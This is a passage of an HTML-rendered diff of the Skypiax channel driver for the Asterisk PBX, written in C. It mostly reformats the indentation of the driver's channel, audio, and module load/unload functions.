- int16_t *ptr = (int16_t *) f->data;
- for (i = 0; i < f->samples; i++) {
- x = (ptr[i] * boost) / BOOST_SCALE;
- if (x > 32767) {
- x = 32767;
- } else if (x < -32768) {
- x = -32768;
- }
- ptr[i] = x;
- }
- }
- return 0;
</del><ins>+        if (boost != 0) {                        /* scale and clip values */
+                int i, x;
+                int16_t *ptr = (int16_t *) f->data;
+                for (i = 0; i < f->samples; i++) {
+                        x = (ptr[i] * boost) / BOOST_SCALE;
+                        if (x > 32767) {
+                                x = 32767;
+                        } else if (x < -32768) {
+                                x = -32768;
+                        }
+                        ptr[i] = x;
+                }
+        }
+        return 0;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> /*! \brief Send audio frame to channel */
</span><span class="cx"> int skypiax_write(struct ast_channel *c, struct ast_frame *f)
</span><span class="cx"> {
</span><del>- struct skypiax_pvt *p = c->tech_pvt;
- int sent;
</del><ins>+        struct skypiax_pvt *p = c->tech_pvt;
+        int sent;
</ins><span class="cx">
</span><del>- if (p->owner && p->owner->_state != SKYPIAX_STATE_UP) {
- return 0;
- }
- if (p->playback_boost)
- skypiax_sound_boost(f, p->playback_boost);
</del><ins>+        if (p->owner && p->owner->_state != SKYPIAX_STATE_UP) {
+                return 0;
+        }
+        if (p->playback_boost)
+                skypiax_sound_boost(f, p->playback_boost);
</ins><span class="cx">
</span><del>- sent = write(p->audioskypepipe[1], (short *) f->data, f->datalen);
- //skypiax_sound_write(p, f);
</del><ins>+        sent = write(p->audioskypepipe[1], (short *) f->data, f->datalen);
+        //skypiax_sound_write(p, f);
</ins><span class="cx">
</span><del>- return 0;
</del><ins>+        return 0;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> /*! \brief Fix up a channel: If a channel is consumed, this is called.
</span><span class="cx"> * Basically update any ->owner links */
</span><span class="cx"> int skypiax_fixup(struct ast_channel *oldchan, struct ast_channel *newchan)
</span><span class="cx"> {
</span><del>- struct skypiax_pvt *p = newchan->tech_pvt;
</del><ins>+        struct skypiax_pvt *p = newchan->tech_pvt;
</ins><span class="cx">
</span><del>- if (!p) {
- ERRORA("No pvt after masquerade. Strange things may happen\n", SKYPIAX_P_LOG);
- return -1;
- }
</del><ins>+        if (!p) {
+                ERRORA("No pvt after masquerade. Strange things may happen\n", SKYPIAX_P_LOG);
+                return -1;
+        }
</ins><span class="cx">
</span><del>- if (p->owner != oldchan) {
- ERRORA("old channel wasn't %p but was %p\n", SKYPIAX_P_LOG, oldchan, p->owner);
- return -1;
- }
</del><ins>+        if (p->owner != oldchan) {
+                ERRORA("old channel wasn't %p but was %p\n", SKYPIAX_P_LOG, oldchan, p->owner);
+                return -1;
+        }
</ins><span class="cx">
</span><del>- p->owner = newchan;
- return 0;
</del><ins>+        p->owner = newchan;
+        return 0;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> struct ast_channel *skypiax_new(struct skypiax_pvt *p, int state, char *context)
</span><span class="cx"> {
</span><del>- struct ast_channel *tmp;
</del><ins>+        struct ast_channel *tmp;
</ins><span class="cx">
</span><del>- /* alloc a generic channel struct */
</del><ins>+        /* alloc a generic channel struct */
</ins><span class="cx"> #ifndef ASTERISK_VERSION_1_4
</span><del>- tmp = ast_channel_alloc(1);
</del><ins>+        tmp = ast_channel_alloc(1);
</ins><span class="cx"> #else
</span><del>- //tmp = ast_channel_alloc(1, state, 0, 0, "", p->exten, p->context, 0, "");
- //tmp = ast_channel_alloc(1, state, i->cid_num, i->cid_name, i->accountcode, i->exten, i->context, i->amaflags, "Skypiax/%s", p->name);
- tmp =
- ast_channel_alloc(1, state, 0, 0, "", p->exten, p->context, 0, "Skypiax/%s", p->name);
</del><ins>+        //tmp = ast_channel_alloc(1, state, 0, 0, "", p->exten, p->context, 0, "");
+        //tmp = ast_channel_alloc(1, state, i->cid_num, i->cid_name, i->accountcode, i->exten, i->context, i->amaflags, "Skypiax/%s", p->name);
+        tmp = ast_channel_alloc(1, state, 0, 0, "", p->exten, p->context, 0, "Skypiax/%s", p->name);
</ins><span class="cx">
</span><span class="cx"> #endif /* ASTERISK_VERSION_1_4 */
</span><del>- if (tmp) {
</del><ins>+        if (tmp) {
</ins><span class="cx">
</span><del>- /* give a name to the newly created channel */
</del><ins>+                /* give a name to the newly created channel */
</ins><span class="cx"> #ifndef ASTERISK_VERSION_1_4
</span><del>- snprintf(tmp->name, sizeof(tmp->name), "Skypiax/%s", p->name);
- tmp->type = skypiax_type;
</del><ins>+                snprintf(tmp->name, sizeof(tmp->name), "Skypiax/%s", p->name);
+                tmp->type = skypiax_type;
</ins><span class="cx"> #else /* ASTERISK_VERSION_1_4 */
</span><del>- ast_string_field_build(tmp, name, "Skypiax/%s", p->name);
</del><ins>+                ast_string_field_build(tmp, name, "Skypiax/%s", p->name);
</ins><span class="cx"> #endif /* ASTERISK_VERSION_1_4 */
</span><span class="cx">
</span><del>- DEBUGA_PBX("new channel: name=%s requested_state=%d\n", SKYPIAX_P_LOG, tmp->name,
- state);
</del><ins>+                DEBUGA_PBX("new channel: name=%s requested_state=%d\n", SKYPIAX_P_LOG, tmp->name, state);
</ins><span class="cx">
</span><del>- /* fd for the channel to poll for incoming audio */
- tmp->fds[0] = p->skypiax_sound_capt_fd;
</del><ins>+                /* fd for the channel to poll for incoming audio */
+                tmp->fds[0] = p->skypiax_sound_capt_fd;
</ins><span class="cx">
</span><del>- /* audio formats managed */
- tmp->nativeformats = AST_FORMAT_SLINEAR;
- tmp->readformat = AST_FORMAT_SLINEAR;
- tmp->writeformat = AST_FORMAT_SLINEAR;
- /* the technology description (eg. the interface type) of the newly created channel is the Skypiax's one */
- tmp->tech = &skypiax_tech;
- /* the technology pvt (eg. the interface) of the newly created channel is this interface pvt */
- tmp->tech_pvt = p;
</del><ins>+                /* audio formats managed */
+                tmp->nativeformats = AST_FORMAT_SLINEAR;
+                tmp->readformat = AST_FORMAT_SLINEAR;
+                tmp->writeformat = AST_FORMAT_SLINEAR;
+                /* the technology description (eg. the interface type) of the newly created channel is the Skypiax's one */
+                tmp->tech = &skypiax_tech;
+                /* the technology pvt (eg. the interface) of the newly created channel is this interface pvt */
+                tmp->tech_pvt = p;
</ins><span class="cx">
</span><del>- /* copy this interface default context, extension, language to the newly created channel */
- if (strlen(p->context))
- strncpy(tmp->context, p->context, sizeof(tmp->context) - 1);
- if (strlen(p->exten))
- strncpy(tmp->exten, p->exten, sizeof(tmp->exten) - 1);
</del><ins>+                /* copy this interface default context, extension, language to the newly created channel */
+                if (strlen(p->context))
+                        strncpy(tmp->context, p->context, sizeof(tmp->context) - 1);
+                if (strlen(p->exten))
+                        strncpy(tmp->exten, p->exten, sizeof(tmp->exten) - 1);
</ins><span class="cx"> #ifndef ASTERISK_VERSION_1_4
</span><del>- if (strlen(p->language))
- strncpy(tmp->language, p->language, sizeof(tmp->language) - 1);
</del><ins>+                if (strlen(p->language))
+                        strncpy(tmp->language, p->language, sizeof(tmp->language) - 1);
</ins><span class="cx"> #else
</span><del>- if (strlen(p->language))
- ast_string_field_set(tmp, language, p->language);
</del><ins>+                if (strlen(p->language))
+                        ast_string_field_set(tmp, language, p->language);
</ins><span class="cx"> #endif /* ASTERISK_VERSION_1_4 */
</span><del>- /* copy the requested context (not necessarily the interface default) to the newly created channel */
- if (strlen(context))
- strncpy(tmp->context, context, sizeof(tmp->context) - 1);
</del><ins>+                /* copy the requested context (not necessarily the interface default) to the newly created channel */
+                if (strlen(context))
+                        strncpy(tmp->context, context, sizeof(tmp->context) - 1);
</ins><span class="cx">
</span><del>- /* copy this interface default callerid in the newly created channel */
- ast_set_callerid(tmp, !ast_strlen_zero(p->callid_number) ? p->callid_number : NULL,
- !ast_strlen_zero(p->callid_name) ? p->callid_name : NULL,
- !ast_strlen_zero(p->callid_number) ? p->callid_number : NULL);
</del><ins>+                /* copy this interface default callerid in the newly created channel */
+                ast_set_callerid(tmp, !ast_strlen_zero(p->callid_number) ? p->callid_number : NULL,
+                                                 !ast_strlen_zero(p->callid_name) ? p->callid_name : NULL, !ast_strlen_zero(p->callid_number) ? p->callid_number : NULL);
</ins><span class="cx">
</span><del>- DEBUGA_PBX("callid_number=%s, callid_name=%s\n", SKYPIAX_P_LOG, p->callid_number,
- p->callid_name);
</del><ins>+                DEBUGA_PBX("callid_number=%s, callid_name=%s\n", SKYPIAX_P_LOG, p->callid_number, p->callid_name);
</ins><span class="cx">
</span><del>- /* the owner of this interface pvt is the newly created channel */
- p->owner = tmp;
- /* set the newly created channel state to the requested state */
- if (ast_setstate(tmp, state)) {
- ERRORA("ast_setstate failed, BAD\n", SKYPIAX_P_LOG);
- //ast_dsp_free(p->dsp);
- ast_channel_free(tmp);
- return NULL;
- }
- /* if the requested state is different from DOWN, let the pbx manage this interface (now part of the newly created channel) */
- if (state != SKYPIAX_STATE_DOWN) {
- DEBUGA_PBX("Try to start PBX on %s, state=%d\n", SKYPIAX_P_LOG, tmp->name, state);
- if (ast_pbx_start(tmp)) {
- ERRORA("Unable to start PBX on %s\n", SKYPIAX_P_LOG, tmp->name);
- ast_channel_free(tmp);
- return NULL;
- }
- }
- /* let's start the serial monitoring thread too, so we can have serial signaling */
- if (ast_pthread_create(&p->controldev_thread, NULL, skypiax_do_controldev_thread, p) <
- 0) {
- ERRORA("Unable to start controldev thread.\n", SKYPIAX_P_LOG);
- ast_channel_free(tmp);
- tmp = NULL;
- }
- DEBUGA_SERIAL("STARTED controldev_thread=%lu STOP=%lu NULL=%lu\n", SKYPIAX_P_LOG,
- (unsigned long) p->controldev_thread, (unsigned long) AST_PTHREADT_STOP,
- (unsigned long) AST_PTHREADT_NULL);
</del><ins>+                /* the owner of this interface pvt is the newly created channel */
+                p->owner = tmp;
+                /* set the newly created channel state to the requested state */
+                if (ast_setstate(tmp, state)) {
+                        ERRORA("ast_setstate failed, BAD\n", SKYPIAX_P_LOG);
+                        //ast_dsp_free(p->dsp);
+                        ast_channel_free(tmp);
+                        return NULL;
+                }
+                /* if the requested state is different from DOWN, let the pbx manage this interface (now part of the newly created channel) */
+                if (state != SKYPIAX_STATE_DOWN) {
+                        DEBUGA_PBX("Try to start PBX on %s, state=%d\n", SKYPIAX_P_LOG, tmp->name, state);
+                        if (ast_pbx_start(tmp)) {
+                                ERRORA("Unable to start PBX on %s\n", SKYPIAX_P_LOG, tmp->name);
+                                ast_channel_free(tmp);
+                                return NULL;
+                        }
+                }
+                /* let's start the serial monitoring thread too, so we can have serial signaling */
+                if (ast_pthread_create(&p->controldev_thread, NULL, skypiax_do_controldev_thread, p) < 0) {
+                        ERRORA("Unable to start controldev thread.\n", SKYPIAX_P_LOG);
+                        ast_channel_free(tmp);
+                        tmp = NULL;
+                }
+                DEBUGA_SERIAL("STARTED controldev_thread=%lu STOP=%lu NULL=%lu\n", SKYPIAX_P_LOG,
+                                         (unsigned long) p->controldev_thread, (unsigned long) AST_PTHREADT_STOP, (unsigned long) AST_PTHREADT_NULL);
</ins><span class="cx">
</span><del>- /* add one to the usage count of Skypiax-type channels */
- LOKKA(&skypiax_usecnt_lock);
- skypiax_usecnt++;
- UNLOCKA(&skypiax_usecnt_lock);
- ast_update_use_count();
</del><ins>+                /* add one to the usage count of Skypiax-type channels */
+                LOKKA(&skypiax_usecnt_lock);
+                skypiax_usecnt++;
+                UNLOCKA(&skypiax_usecnt_lock);
+                ast_update_use_count();
</ins><span class="cx">
</span><del>- /* return the newly created channel */
- return tmp;
- }
- ERRORA("failed memory allocation for Skypiax channel\n", SKYPIAX_P_LOG);
- return NULL;
</del><ins>+                /* return the newly created channel */
+                return tmp;
+        }
+        ERRORA("failed memory allocation for Skypiax channel\n", SKYPIAX_P_LOG);
+        return NULL;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> /*!
</span><span class="lines">@@ -824,108 +798,103 @@
</span><span class="cx"> */
</span><span class="cx"> int load_module(void)
</span><span class="cx"> {
</span><del>- int i;
- struct ast_config *cfg;
- struct skypiax_pvt *tmp;
- struct skypiax_pvt *p = NULL;
- struct skypiax_pvt *p2 = NULL;
</del><ins>+        int i;
+        struct ast_config *cfg;
+        struct skypiax_pvt *tmp;
+        struct skypiax_pvt *p = NULL;
+        struct skypiax_pvt *p2 = NULL;
</ins><span class="cx"> #ifdef ASTERISK_VERSION_1_6
</span><del>- struct ast_flags config_flags = { 0 };
</del><ins>+        struct ast_flags config_flags = { 0 };
</ins><span class="cx"> #endif /* ASTERISK_VERSION_1_6 */
</span><span class="cx">
</span><span class="cx"> #if defined(WANT_SKYPE_X11) || defined(__CYGWIN__)
</span><span class="cx"> #ifndef __CYGWIN__
</span><del>- if (!XInitThreads())
- ast_log(LOG_ERROR, "Not initialized XInitThreads!\n");
</del><ins>+        if (!XInitThreads())
+                ast_log(LOG_ERROR, "Not initialized XInitThreads!\n");
</ins><span class="cx"> #endif /* __CYGWIN__ */
</span><span class="cx"> #if 0
</span><del>- ast_register_atexit(skypiax_disconnect);
- ast_register_application(skype2skypiaxapp, skype2skypiax, skype2skypiaxsynopsis,
- skype2skypiaxdescrip);
- ast_register_application(skypiax2skypeapp, skypiax2skype, skypiax2skypesynopsis,
- skypiax2skypedescrip);
</del><ins>+        ast_register_atexit(skypiax_disconnect);
+        ast_register_application(skype2skypiaxapp, skype2skypiax, skype2skypiaxsynopsis, skype2skypiaxdescrip);
+        ast_register_application(skypiax2skypeapp, skypiax2skype, skypiax2skypesynopsis, skypiax2skypedescrip);
</ins><span class="cx"> #endif
</span><span class="cx"> #endif /* defined(WANT_SKYPE_X11) || defined(__CYGWIN__) */
</span><span class="cx">
</span><del>- /* make sure we can register our channel type with Asterisk */
- i = ast_channel_register(&skypiax_tech);
- if (i < 0) {
- ERRORA("Unable to register channel type '%s'\n", SKYPIAX_P_LOG, skypiax_type);
- return -1;
- }
- /* load skypiax.conf config file */
</del><ins>+        /* make sure we can register our channel type with Asterisk */
+        i = ast_channel_register(&skypiax_tech);
+        if (i < 0) {
+                ERRORA("Unable to register channel type '%s'\n", SKYPIAX_P_LOG, skypiax_type);
+                return -1;
+        }
+        /* load skypiax.conf config file */
</ins><span class="cx"> #ifdef ASTERISK_VERSION_1_6
</span><del>- cfg = ast_config_load(skypiax_config, config_flags);
</del><ins>+        cfg = ast_config_load(skypiax_config, config_flags);
</ins><span class="cx"> #else
</span><del>- cfg = ast_config_load(skypiax_config);
</del><ins>+        cfg = ast_config_load(skypiax_config);
</ins><span class="cx"> #endif /* ASTERISK_VERSION_1_6 */
</span><del>- if (cfg != NULL) {
- char *ctg = NULL;
- int is_first_category = 1;
- while ((ctg = ast_category_browse(cfg, ctg)) != NULL) {
- /* create one interface for each category in skypiax.conf config file, first one set the defaults */
- tmp = skypiax_mkif(cfg, ctg, is_first_category);
- if (tmp) {
- DEBUGA_PBX
- ("Created channel Skypiax: skypiax.conf category '[%s]', channel name '%s'"
- "\n", SKYPIAX_P_LOG, ctg, tmp->name);
- /* add interface to skypiax_iflist */
- tmp->next = skypiax_iflist;
- skypiax_iflist = tmp;
- /* next one will not be the first ;) */
- if (is_first_category == 1) {
- is_first_category = 0;
- skypiax_console_active = tmp->name;
- }
- } else {
- ERRORA("Unable to create channel Skypiax from skypiax.conf category '[%s]'\n",
- SKYPIAX_P_LOG, ctg);
- /* if error, unload config from memory and return */
- ast_config_destroy(cfg);
- ast_channel_unregister(&skypiax_tech);
- return -1;
- }
- /* do it for each category described in config */
- }
</del><ins>+        if (cfg != NULL) {
+                char *ctg = NULL;
+                int is_first_category = 1;
+                while ((ctg = ast_category_browse(cfg, ctg)) != NULL) {
+                        /* create one interface for each category in skypiax.conf config file, first one set the defaults */
+                        tmp = skypiax_mkif(cfg, ctg, is_first_category);
+                        if (tmp) {
+                                DEBUGA_PBX("Created channel Skypiax: skypiax.conf category '[%s]', channel name '%s'" "\n", SKYPIAX_P_LOG, ctg, tmp->name);
+                                /* add interface to skypiax_iflist */
+                                tmp->next = skypiax_iflist;
+                                skypiax_iflist = tmp;
+                                /* next one will not be the first ;) */
+                                if (is_first_category == 1) {
+                                        is_first_category = 0;
+                                        skypiax_console_active = tmp->name;
+                                }
+                        } else {
+                                ERRORA("Unable to create channel Skypiax from skypiax.conf category '[%s]'\n", SKYPIAX_P_LOG, ctg);
+                                /* if error, unload config from memory and return */
+                                ast_config_destroy(cfg);
+                                ast_channel_unregister(&skypiax_tech);
+                                return -1;
+                        }
+                        /* do it for each category described in config */
+                }
</ins><span class="cx">
</span><del>- /* we finished, unload config from memory */
- ast_config_destroy(cfg);
- } else {
- ERRORA("Unable to load skypiax_config skypiax.conf\n", SKYPIAX_P_LOG);
- ast_channel_unregister(&skypiax_tech);
- return -1;
- }
</del><ins>+                /* we finished, unload config from memory */
+                ast_config_destroy(cfg);
+        } else {
+                ERRORA("Unable to load skypiax_config skypiax.conf\n", SKYPIAX_P_LOG);
+                ast_channel_unregister(&skypiax_tech);
+                return -1;
+        }
</ins><span class="cx"> #ifndef ASTERISK_VERSION_1_6
</span><del>- ast_cli_register_multiple(myclis, sizeof(myclis) / sizeof(struct ast_cli_entry));
</del><ins>+        ast_cli_register_multiple(myclis, sizeof(myclis) / sizeof(struct ast_cli_entry));
</ins><span class="cx"> #endif /* ASTERISK_VERSION_1_6 */
</span><del>- /* start to monitor the interfaces (skypiax_iflist) for the first time */
- if (skypiax_restart_monitor()) {
- ERRORA("skypiax_restart_monitor failed, BAD\n", SKYPIAX_P_LOG);
- return -1;
- }
- /* go through the interfaces list (skypiax_iflist) WITHOUT locking */
- p = skypiax_iflist;
- while (p) {
- int i;
- /* for each interface in list */
- p2 = p->next;
- NOTICA("STARTING interface %s, please be patient\n", SKYPIAX_P_LOG, p->name);
- i = 0;
- while (p->SkypiaxHandles.api_connected == 0 && running && i < 60000) { // 60sec FIXME
- usleep(1000);
- i++;
- }
- if (p->SkypiaxHandles.api_connected) {
- NOTICA("STARTED interface %s\n", SKYPIAX_P_LOG, p->name);
- } else {
- ERRORA("Interface %s FAILED to start\n", SKYPIAX_P_LOG, p->name);
- running = 0;
- return -1;
- }
- /* next one, please */
- p = p2;
- }
- return 0;
</del><ins>+        /* start to monitor the interfaces (skypiax_iflist) for the first time */
+        if (skypiax_restart_monitor()) {
+                ERRORA("skypiax_restart_monitor failed, BAD\n", SKYPIAX_P_LOG);
+                return -1;
+        }
+        /* go through the interfaces list (skypiax_iflist) WITHOUT locking */
+        p = skypiax_iflist;
+        while (p) {
+                int i;
+                /* for each interface in list */
+                p2 = p->next;
+                NOTICA("STARTING interface %s, please be patient\n", SKYPIAX_P_LOG, p->name);
+                i = 0;
+                while (p->SkypiaxHandles.api_connected == 0 && running && i < 60000) {        // 60sec FIXME
+                        usleep(1000);
+                        i++;
+                }
+                if (p->SkypiaxHandles.api_connected) {
+                        NOTICA("STARTED interface %s\n", SKYPIAX_P_LOG, p->name);
+                } else {
+                        ERRORA("Interface %s FAILED to start\n", SKYPIAX_P_LOG, p->name);
+                        running = 0;
+                        return -1;
+                }
+                /* next one, please */
+                p = p2;
+        }
+        return 0;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> /*!
</span><span class="lines">@@ -940,94 +909,94 @@
</span><span class="cx"> */
</span><span class="cx"> int unload_module(void)
</span><span class="cx"> {
</span><del>- struct skypiax_pvt *p = NULL, *p2 = NULL;
- int res;
</del><ins>+        struct skypiax_pvt *p = NULL, *p2 = NULL;
+        int res;
</ins><span class="cx">
</span><del>- /* unregister our channel type with Asterisk */
- ast_channel_unregister(&skypiax_tech);
- ast_cli_unregister_multiple(myclis, sizeof(myclis) / sizeof(struct ast_cli_entry));
</del><ins>+        /* unregister our channel type with Asterisk */
+        ast_channel_unregister(&skypiax_tech);
+        ast_cli_unregister_multiple(myclis, sizeof(myclis) / sizeof(struct ast_cli_entry));
</ins><span class="cx">
</span><span class="cx"> #if defined(WANT_SKYPE_X11) || defined(__CYGWIN__)
</span><span class="cx"> #ifndef __CYGWIN__
</span><del>- //FIXME what to do? if (!XInitThreads())
- //FIXME what to do? ast_log(LOG_ERROR, "Not initialized XInitThreads!\n");
</del><ins>+        //FIXME what to do? if (!XInitThreads())
+        //FIXME what to do? ast_log(LOG_ERROR, "Not initialized XInitThreads!\n");
</ins><span class="cx"> #endif /* __CYGWIN__ */
</span><span class="cx"> #if 0
</span><del>- ast_unregister_atexit(skypiax_disconnect);
- ast_unregister_application(skype2skypiaxapp);
- ast_unregister_application(skypiax2skypeapp);
</del><ins>+        ast_unregister_atexit(skypiax_disconnect);
+        ast_unregister_application(skype2skypiaxapp);
+        ast_unregister_application(skypiax2skypeapp);
</ins><span class="cx"> #endif
</span><span class="cx"> #endif /* defined(WANT_SKYPE_X11) || defined(__CYGWIN__) */
</span><span class="cx">
</span><del>- /* lock the skypiax_monlock, kill the monitor thread, unlock the skypiax_monlock */
- LOKKA(&skypiax_monlock);
- if (skypiax_monitor_thread && (skypiax_monitor_thread != AST_PTHREADT_NULL)
- && (skypiax_monitor_thread != AST_PTHREADT_STOP)) {
- if (pthread_cancel(skypiax_monitor_thread)) {
- ERRORA("pthread_cancel failed, BAD\n", SKYPIAX_P_LOG);
- return -1;
- }
- if (pthread_kill(skypiax_monitor_thread, SIGURG)) {
- DEBUGA_PBX("pthread_kill failed\n", SKYPIAX_P_LOG); //maybe it just died
- }
-#ifndef __CYGWIN__ /* under cygwin, this seems to be not reliable, get stuck at times */
- if (pthread_join(skypiax_monitor_thread, NULL)) {
- ERRORA("pthread_join failed, BAD\n", SKYPIAX_P_LOG);
- return -1;
- }
</del><ins>+        /* lock the skypiax_monlock, kill the monitor thread, unlock the skypiax_monlock */
+        LOKKA(&skypiax_monlock);
+        if (skypiax_monitor_thread && (skypiax_monitor_thread != AST_PTHREADT_NULL)
+                && (skypiax_monitor_thread != AST_PTHREADT_STOP)) {
+                if (pthread_cancel(skypiax_monitor_thread)) {
+                        ERRORA("pthread_cancel failed, BAD\n", SKYPIAX_P_LOG);
+                        return -1;
+                }
+                if (pthread_kill(skypiax_monitor_thread, SIGURG)) {
+                        DEBUGA_PBX("pthread_kill failed\n", SKYPIAX_P_LOG);        //maybe it just died
+                }
+#ifndef __CYGWIN__                                /* under cygwin, this seems to be not reliable, get stuck at times */
+                if (pthread_join(skypiax_monitor_thread, NULL)) {
+                        ERRORA("pthread_join failed, BAD\n", SKYPIAX_P_LOG);
+                        return -1;
+                }
</ins><span class="cx"> #endif /* __CYGWIN__ */
</span><del>- }
- skypiax_monitor_thread = AST_PTHREADT_STOP;
- UNLOCKA(&skypiax_monlock);
</del><ins>+        }
+        skypiax_monitor_thread = AST_PTHREADT_STOP;
+        UNLOCKA(&skypiax_monlock);
</ins><span class="cx">
</span><del>- if (skypiax_monitor_audio_thread && (skypiax_monitor_audio_thread != AST_PTHREADT_NULL)
- && (skypiax_monitor_audio_thread != AST_PTHREADT_STOP)) {
</del><ins>+        if (skypiax_monitor_audio_thread && (skypiax_monitor_audio_thread != AST_PTHREADT_NULL)
+                && (skypiax_monitor_audio_thread != AST_PTHREADT_STOP)) {
</ins><span class="cx">
</span><del>- if (pthread_cancel(skypiax_monitor_audio_thread)) {
- ERRORA("pthread_cancel skypiax_monitor_audio_thread failed, BAD\n", SKYPIAX_P_LOG);
- }
- if (pthread_kill(skypiax_monitor_audio_thread, SIGURG)) {
- DEBUGA_PBX("pthread_kill skypiax_monitor_audio_thread failed, no problem\n", SKYPIAX_P_LOG); //maybe it just died
- }
</del><ins>+                if (pthread_cancel(skypiax_monitor_audio_thread)) {
+                        ERRORA("pthread_cancel skypiax_monitor_audio_thread failed, BAD\n", SKYPIAX_P_LOG);
+                }
+                if (pthread_kill(skypiax_monitor_audio_thread, SIGURG)) {
+                        DEBUGA_PBX("pthread_kill skypiax_monitor_audio_thread failed, no problem\n", SKYPIAX_P_LOG);        //maybe it just died
+                }
</ins><span class="cx">
</span><del>- if (pthread_join(skypiax_monitor_audio_thread, NULL)) {
- ERRORA("pthread_join failed, BAD\n", SKYPIAX_P_LOG);
- }
- }
- /* lock the skypiax_iflock, and go through the interfaces list (skypiax_iflist) */
- LOKKA(&skypiax_iflock);
- p = skypiax_iflist;
- while (p) {
- /* for each interface in list */
- p2 = p->next;
- /* shutdown the sound system, close sound fds, and if exist shutdown the sound managing threads */
- DEBUGA_SOUND("shutting down sound\n", SKYPIAX_P_LOG);
- res = skypiax_sound_shutdown(p);
- if (res == -1) {
- ERRORA("Failed to shutdown sound\n", SKYPIAX_P_LOG);
- }
</del><ins>+                if (pthread_join(skypiax_monitor_audio_thread, NULL)) {
+                        ERRORA("pthread_join failed, BAD\n", SKYPIAX_P_LOG);
+                }
+        }
+        /* lock the skypiax_iflock, and go through the interfaces list (skypiax_iflist) */
+        LOKKA(&skypiax_iflock);
+        p = skypiax_iflist;
+        while (p) {
+                /* for each interface in list */
+                p2 = p->next;
+                /* shutdown the sound system, close sound fds, and if exist shutdown the sound managing threads */
+                DEBUGA_SOUND("shutting down sound\n", SKYPIAX_P_LOG);
+                res = skypiax_sound_shutdown(p);
+                if (res == -1) {
+                        ERRORA("Failed to shutdown sound\n", SKYPIAX_P_LOG);
+                }
</ins><span class="cx"> #if 0
</span><del>- /* if a dsp struct has been allocated, free it */
- if (p->dsp) {
- ast_dsp_free(p->dsp);
- p->dsp = NULL;
- }
</del><ins>+                /* if a dsp struct has been allocated, free it */
+                if (p->dsp) {
+                        ast_dsp_free(p->dsp);
+                        p->dsp = NULL;
+                }
</ins><span class="cx"> #endif
</span><del>- DEBUGA_PBX("freeing PVT\n", SKYPIAX_P_LOG);
- /* free the pvt allocated memory */
- free(p);
- /* next one, please */
- p = p2;
- }
- /* finished with the interfaces list, unlock the skypiax_iflock */
- UNLOCKA(&skypiax_iflock);
</del><ins>+                DEBUGA_PBX("freeing PVT\n", SKYPIAX_P_LOG);
+                /* free the pvt allocated memory */
+                free(p);
+                /* next one, please */
+                p = p2;
+        }
+        /* finished with the interfaces list, unlock the skypiax_iflock */
+        UNLOCKA(&skypiax_iflock);
</ins><span class="cx">
</span><span class="cx"> #ifdef __CYGWIN__
</span><del>- NOTICA("Sleping 5 secs, please wait...\n", SKYPIAX_P_LOG);
- sleep(5); /* without this pause, for some unknown (to me) reason it crashes on cygwin */
</del><ins>+        NOTICA("Sleping 5 secs, please wait...\n", SKYPIAX_P_LOG);
+        sleep(5);                                        /* without this pause, for some unknown (to me) reason it crashes on cygwin */
</ins><span class="cx"> #endif /* __CYGWIN__ */
</span><del>- NOTICA("Unloaded Skypiax Module\n", SKYPIAX_P_LOG);
- return 0;
</del><ins>+        NOTICA("Unloaded Skypiax Module\n", SKYPIAX_P_LOG);
+        return 0;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> /*!
</span><span class="lines">@@ -1037,16 +1006,16 @@
</span><span class="cx"> */
</span><span class="cx"> int usecount()
</span><span class="cx"> {
</span><del>- int res;
- static struct skypiax_pvt *p = &skypiax_log_struct;
</del><ins>+        int res;
+        static struct skypiax_pvt *p = &skypiax_log_struct;
</ins><span class="cx"> /* lock the skypiax_usecnt lock */
</span><del>- LOKKA(&skypiax_usecnt_lock);
- /* retrieve the skypiax_usecnt */
- res = skypiax_usecnt;
</del><ins>+        LOKKA(&skypiax_usecnt_lock);
+        /* retrieve the skypiax_usecnt */
+        res = skypiax_usecnt;
</ins><span class="cx"> /* unlock the skypiax_usecnt lock */
</span><del>- UNLOCKA(&skypiax_usecnt_lock);
- /* return the skypiax_usecnt */
- return res;
</del><ins>+        UNLOCKA(&skypiax_usecnt_lock);
+        /* return the skypiax_usecnt */
+        return res;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> /*!
</span><span class="lines">@@ -1056,7 +1025,7 @@
</span><span class="cx"> */
</span><span class="cx"> char *description()
</span><span class="cx"> {
</span><del>- return (char *) skypiax_desc;
</del><ins>+        return (char *) skypiax_desc;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> /*!
</span><span class="lines">@@ -1066,11 +1035,11 @@
</span><span class="cx"> */
</span><span class="cx"> char *key()
</span><span class="cx"> {
</span><del>- struct skypiax_pvt *p = NULL;
</del><ins>+        struct skypiax_pvt *p = NULL;
</ins><span class="cx">
</span><del>- NOTICA("Returning Key\n", SKYPIAX_P_LOG);
</del><ins>+        NOTICA("Returning Key\n", SKYPIAX_P_LOG);
</ins><span class="cx">
</span><del>- return ASTERISK_GPL_KEY;
</del><ins>+        return ASTERISK_GPL_KEY;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> /*!
</span><span class="lines">@@ -1085,321 +1054,313 @@
</span><span class="cx"> */
</span><span class="cx"> struct skypiax_pvt *skypiax_mkif(struct ast_config *cfg, char *ctg, int is_first_category)
</span><span class="cx"> {
</span><del>- struct skypiax_pvt *tmp;
- struct ast_variable *v;
- int res;
</del><ins>+        struct skypiax_pvt *tmp;
+        struct ast_variable *v;
+        int res;
</ins><span class="cx">
</span><del>- int debug_all = 0;
- int debug_at = 0;
- int debug_fbus2 = 0;
- int debug_serial = 0;
- int debug_sound = 0;
- int debug_pbx = 0;
- int debug_skype = 0;
- int debug_call = 0;
- int debug_locks = 0;
- int debug_monitorlocks = 0;
</del><ins>+        int debug_all = 0;
+        int debug_at = 0;
+        int debug_fbus2 = 0;
+        int debug_serial = 0;
+        int debug_sound = 0;
+        int debug_pbx = 0;
+        int debug_skype = 0;
+        int debug_call = 0;
+        int debug_locks = 0;
+        int debug_monitorlocks = 0;
</ins><span class="cx">
</span><del>- ast_log(LOG_DEBUG, "ENTERING FUNC\n");
- /* alloc memory for PVT */
- tmp = malloc(sizeof(struct skypiax_pvt));
- if (tmp == NULL) { /* fail */
- return NULL;
- }
- /* clear memory for PVT */
